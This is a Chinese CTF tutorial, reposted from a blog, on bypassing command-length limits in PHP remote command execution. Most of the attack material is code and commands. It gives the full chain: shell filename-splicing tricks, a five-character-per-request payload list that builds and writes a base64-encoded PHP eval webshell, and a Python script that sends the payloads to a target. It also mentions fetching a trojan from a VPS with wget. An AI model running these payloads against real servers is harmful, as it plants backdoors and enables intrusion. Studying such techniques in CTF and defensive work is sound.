RCE篇之限制长度下的命令执行
转载自:https://arsenetang.github.io/2021/07/20/RCE篇之命令执行中的各种绕过/
绕过长度限制
linux 中的>符号和>>符号
(1)通过>来创建文件
(2)通过>将命令结果存入文件中
使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入
linux中命令换行
在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行
比如一条命令cat flag可以如下表示
既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下
root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
fl\
ag
root@kali:~# sh cmd
this is your flag
用这种方法可以绕过一些长度限制读文件内容
利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)
在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)
root@kali:~/example# touch a root@kali:~/example# touch b root@kali:~/example# touch c root@kali:~/example# ls -t c b a
我们来看看ls -t>ghtwf01有什么效果(开始不存在ghtwf01这个文件)
root@kali:~/example# ls -t>ghtwf01
root@kali:~/example# cat ghtwf01
ghtwf01
c
b
a
这条命令先执行了创建ghtwf01文件然后将ls -t的执行结果写入ghtwf01文件
我们试试用这些方法来执行命令cat flag
root@kali:~/example# > "ag"
root@kali:~/example# > "fl\\"
root@kali:~/example# > "t \\"
root@kali:~/example# > "ca\\"
root@kali:~/example# ls -t
'ca\' 't \' 'fl\' ag flag
root@kali:~/example# ls -t > a
root@kali:~/example# sh a
a: 1: a: not found
this is your flag
a: 6: flag: not found
读取到了flag内容为this is your flag,无论这个文件里面有不有其它内容都能执行
总而言之文件构造绕过就是如下知识:
linux下可以用 1>a创建文件名为a的空文件
ls -t>test则会将目录按时间排序后写进test文件中
sh命令可以从一个文件中读取命令来执行
反弹shell命令比较长就可以用这种方式去绕过长度限制
如果服务器能连外网还可以使用命令wget 网址 -O shell.php去执行我们自己vps上面的木马文件
1、在linux
中,星号*
可以作为通配符使用,输入*
后,linux
会将该目录下第一个列出的文件名作为命令,剩下的的文件名当作参数
像上面这个例子,执行*
就相当于执行ls t
,将ls
作为命令,t
作为参数;
有的时候当一个目录下有很多个文件的时候,可以在*
后面加上字母作为限制,就可以限定为必须要带有该字母的文件才能被当作命令和参数,它依旧是按照字母顺序,第一个为命令,后面的为参数,比如说下面这个例子,虽然说里面有很多文件,但我们用了*s
,相当于就是带有s
的第一个文件被作为了命令,后面带有s
的文件作为了参数,所以说我们执行*s
,相当于执行ls s
2、linux
中还有一个倒置命令rev
,它可以将文件中的内容倒置,比如说下面这个例子,a
文件中的内容本来是1234
,然后我们用了rev
倒置命令,就输出了4321
,我们还可以将这个输出结果写入文件b
中
当然,我们也可以按照前面的方法,将rev
当作文件名,然后利用*v
来执行它,只不过文件名也要为v
3、linux
中还有一个命令dir
,这个命令和ls
基本上是一样的,只不过用ls
写入文件中时,每个文件名都是单独一行,它会自动换行,这会影响我们后面命令的执行,但dir
就会全部写入一行中,并且会自动加空格,所以说我们就用dir
代替ls
实例
<?php if(md5(md5($_GET["pass"]))=="42dc38109914179199efc5c18d47ee68") { show_source("shell.php"); echo "<br><br>年轻人,这个后门你把握不住,收手吧<br><br>"; echo "<br>".$_SERVER['HTTP_USER_AGENT']; $you_file = '/var/www/html/wllm/'.md5("wllm" . $_SERVER['HTTP_USER_AGENT']); mkdir($you_file); chdir($you_file); if (isset($_GET['big_hacker_LTLT']) && strlen($_GET['big_hacker_LTLT']) <= 5) { echo exec($_GET['big_hacker_LTLT']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $you_file); } } ?>
思路分析
从代码中可知,这里有exec
函数,是可以执行命令的,但由于有长度限制,所以说我们不能执行完整命令,只能试图利用linux
下命令可以拆分的特点,将写入一句话木马的命令,拆分开来,作为文件名的形式先写进去,然后再写一个文件v
,里面的内容是ls -th >f
,然
后通过执行这个文件v
,让前面的文件名按照时间顺序拼接起来,并写入到文件f
中,那文件f
中就是我们想要的写入一句话木马的命令了,最后执行这个文件f
,就将木马成功写入进去了
具体过程
1.我们首先来写写入一句话木马的命令,这里要注意的是,由于里面有< ?
这些字符,所以说我们先将其base64
编码后再写入,具体:
一句话:<?php eval($_POST[1]); base编码后:PD9waHAgZXZhbCgkX1BPU1RbMV0pOw== 写入的命令:echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php 这里的空格要用${IFS}来代替,避免一句话中存在两个空格
验证一下,发现没有问题
2、然后我们就要来拼接出命令ls -th >f
了,我认为这儿是最复杂的,这里先解释一下为啥要拼接出这条命令,因为它ls
默认排列文件的顺序是按照字母顺序的,如果把这个顺序写入文件中那肯定是杂乱无章的,也肯定不是我们想要的,所以说我们得想办法控制它的顺序,而唯一能控制的就是输入命令的时间先后顺序了,我们把想要放在后面的先输入,想要放在前面的后输入,然后利用ls -th
一排,不就是我们想要的顺序了吗,这里我用kali
做个演示,命令就是echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php
我们看到核心代码中它每次输入的命令不能超过五字符,那我就把这命令划分一下,五个字符一句,所有的符号前面都要加转义符\
:
>e\\ >ch\\ >o\\ >\$\\ >{\\ >IF\\ >S}\\ >PD\\ >9w\\ >a\\ >HA\\ >gZ\\ >XZ\\ >hb\\ >Cg\\ >kX\\ >1B\\ >PU\\ >1R\\ >bM\\ >V0\\ >pO\\ >w=\\ >\=\\ >\|\\ >ba\\ >se\\ >64\\ >\ \\ >-d\\ >\>\\ >1.\\ >p\\ >hp
但由于前面讲的,我们得按照时间得先后顺序,给它倒过来:
>hp >p\\ >1.\\ >\>\\ >-d\\ >\ \\ >64\\ >se\\ >ba\\ >\|\\ >\=\\ >w=\\ >pO\\ >V0\\ >bM\\ >1R\\ >PU\\ >1B\\ >kX\\ >Cg\\ >hb\\ >XZ\\ >gZ\\ >HA\\ >a\\ >9w\\ >PD\\ >S}\\ >IF\\ >{\\ >\$\\ >o\\ >ch\\ >e\\
然后我们在kali
中做测试,一个一个按顺序把它敲进去,太艰难了
可以看到已经成功了,它已经按照时间顺序排序好了,那我们就把它执行的结果写入文件f
中,然后利用sh
来执行f
,看能不能成功生成1.php
3、拼接出命令ls -th >f
,害本来第二步我就想讲这个的,结果写着写着就写偏了,前面我们的ls -t >f
这命令是直接写的,实际上题目中我们是肯定不可能直接写的,同样需要把它写成文件名拼接起来写入文件中,然后执行它,这就需要我们前面铺垫的知识了,这里我先把构造结果写出来,然后再分析,如果哪一步没看懂可以去上面看对应的铺垫知识哦:
>dir >f\> >ht- >sl *>v (等同于命令:dir "f>" "ht‐" "sl" > v ) >rev *v>0 前面的*v等同于命令rev v,相当于将v中的文件内容倒了回来,变回:ls -th >f 然后将倒转后的内容写入文件0中,文件0中的内容为:ls -th >f
首先是用dir
代替了ls
,原因上面也讲了,然后我们这里用-th
代替了-t
是因为字母顺序的问题,因为我们这里是选择先倒着写然后再用rev
命令把它正过来,字母h
顺序正好在字母s
和f
之间,所以说就可以,如果只有t
的话它就会排在s
的后面,顺序就乱了
4、前两步构造出来之后其实我们的核心步骤就已经完成了,第二步我们构造出来要执行的命令,第三步将要执行的命令写入到一个文件中,然后就是执行命令的过程了,先执行ls -th >f
也就是sh 0
,再执行文件f
也就是sh f
即可成功写入一句话,综合一下payload就是:
>dir >f\> >ht- >sl *>v >rev *v>0 >hp >p\\ >1.\\ >\>\\ >-d\\ >\ \\ >64\\ >se\\ >ba\\ >\|\\ >\=\\ >w=\\ >pO\\ >V0\\ >bM\\ >1R\\ >PU\\ >1B\\ >kX\\ >Cg\\ >hb\\ >XZ\\ >gZ\\ >HA\\ >a\\ >9w\\ >PD\\ >S}\\ >IF\\ >{\\ >\$\\ >o\\ >ch\\ >e\\ sh 0 sh f
5、Python脚本
前面也看到了,我们要是纯靠手把这些payload全部输进去还是有些麻烦的,所以说我们还是写个python脚本来代替我们发起这些请求:
#!/usr/bin/python # -*- coding: UTF-8 -*- import requests headers = {'User-Agent' : 'ccc'} url = "http://xx.xxx.xx.xxx:10001/shell.php?pass=LTLT_666&big_hacker_LTLT={0}" print("[+]start attack!!!") with open("payload.txt","r") as f: for i in f: print("[*]" + url.format(i.strip())) requests.get(url.format(i.strip()),headers=headers)
这里面我加了个UA头是因为核心代码中说了目录名就是/var/www/html/wllm/'.md5("wllm" . $_SERVER['HTTP_USER_AGENT'])
那相当于我这个目录名就是/var/www/html/md5(wllmccc)
,也就是/var/www/html/wllm/09dfd2544882e2d4cfc851dcb1e78c4f
,payload.txt中的内容就是上面那段payload,接下来开始跑脚本:
跑完脚本去看这个文件是否已经生成,发现已经生成,那就大功告成了,执行命令和用蚁剑连接都是可以的哦